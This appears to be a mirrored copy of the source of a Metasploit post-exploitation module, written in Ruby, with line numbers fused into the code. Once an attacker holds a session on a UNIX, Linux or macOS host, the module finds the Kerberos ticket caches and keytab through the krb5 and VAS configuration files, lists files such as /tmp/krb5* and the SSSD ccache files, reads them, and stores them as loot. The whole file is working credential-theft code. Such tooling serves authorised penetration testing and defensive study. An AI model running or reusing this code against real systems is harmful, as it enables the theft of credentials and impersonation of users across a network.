Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/unix_kerberos_tickets.rb
Views: 11784
# Copyright (c) 2015-2018, Cisco International Ltd1#2# Redistribution and use in source and binary forms, with or without3# modification, are permitted provided that the following conditions are met:4# * Redistributions of source code must retain the above copyright5# notice, this list of conditions and the following disclaimer.6# * Redistributions in binary form must reproduce the above copyright7# notice, this list of conditions and the following disclaimer in the8# documentation and/or other materials provided with the distribution.9# * Neither the name of the Cisco International Ltd nor the10# names of its contributors may be used to endorse or promote products11# derived from this software without specific prior written permission.12#13# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND14# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED15# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE16# DISCLAIMED. IN NO EVENT SHALL CISCO INTERNATIONAL LTD BE LIABLE FOR ANY17# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES18# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;19# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND20# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT21# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS22# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.23##24# This module requires Metasploit: https://metasploit.com/download25# Current source: https://github.com/rapid7/metasploit-framework26##2728require 'shellwords'2930class MetasploitModule < Msf::Post31include Msf::Post::File32include Msf::Post::Unix33include Msf::Post::Common3435def initialize(info = {})36super(37update_info(38info,39'Name' => 'UNIX Gather Kerberos Tickets',40'Description' => %q{ Post Module to obtain all kerberos tickets on the targeted UNIX machine. },41'License' => MSF_LICENSE,42'Author' => [ 'Tim Brown <timb[at]nth-dimension.org.uk>'],43'Platform' => %w[linux osx unix solaris aix],44'SessionTypes' => [ 'meterpreter', 'shell' ],45'Notes' => {46'Stability' => [CRASH_SAFE],47'SideEffects' => [IOC_IN_LOGS],48'Reliability' => []49}50)51)52register_options([53OptString.new('KRB_CONFIG_FILE', [true, 'The Kerberos config file.', '/etc/krb5.conf']),54OptString.new('VAS_CONFIG_FILE', [true, 'The VASD config file.', '/etc/opt/quest/vas/vas.conf']),55])56end5758def run59print_status('Finding files')60files = [ '/etc/opt/quest/vas/host.keytab' ]61configs = [datastore['KRB_CONFIG_FILE'], datastore['VAS_CONFIG_FILE']]62configs.each do |config_file|63if file? config_file64config = read_file(config_file)65if /\n\s*default_ccache_name\s*=\s*(?<cache_location>.*?)\s*\n/ =~ config || /\n\s*default_cc_name\s*=\s*(?<cache_location>.*?)\s*\n/ =~ config66if /^FILE:(?<file_pattern>.*%\{uid\}.*)/ =~ cache_location67suffix = ''68elsif /^DIR:(?<file_pattern>.*%\{uid\}.*)/ =~ cache_location69suffix = '/*'70elsif /^(?<storage>KEYRING|API|KCM|MEMORY|KSLSA):/ =~ cache_location71print_error("Kerberos ticket cache uses #{storage}. This module does not support this storage type.")72else73print_error("Unknown storage type: #{cache_location}")74end7576if file_pattern77print_status("Kerberos tickets configured to be stored at #{file_pattern}")78placeholder = 'MSF_INSERT_HERE'79# The krb5 pattern uses %{uid} as a wildcard. This is misinterpreted by Rubocop as a format string token80# rubocop: disable Style/FormatStringToken81file_pattern['%{uid}'] = placeholder82# rubocop: enable Style/FormatStringToken83# Need to do this two-step thing so Shellwords.escape doesn't escape the asterisk84file_pattern = Shellwords.escape(file_pattern)85file_pattern[placeholder] = '*'86files += cmd_exec("ls #{file_pattern}#{suffix}").split(/\r\n|\r|\n/)87end88end89else90vprint_warning("Could not find #{config_file}")91end92end93files += cmd_exec('ls /var/lib/sss/db/ccache_*').split(/\r\n|\r|\n/)94# Even though our config check should preclude this, it is a default location, so checking it may find something95files += cmd_exec('ls /tmp/krb5*').split(/\r\n|\r|\n/)96files = files.uniq97files = files.select { |d| file?(d) }98if files.nil? || files.empty?99print_error('No kerberos tickets found')100return101end102download_loot(files)103end104105def download_loot(files)106print_status("Looting #{files.count} files")107files.each do |file|108file.chomp!109sep = '/'110print_status("Downloading #{file}")111data = read_file(file)112file = file.split(sep).last113loot_file = store_loot('unix_kerberos_tickets', 'application/octet-stream', session, data, "unix_kerberos_tickets_#{file}", 'Kerberos Tickets File')114print_good("File stored in: #{loot_file}")115end116end117end118119120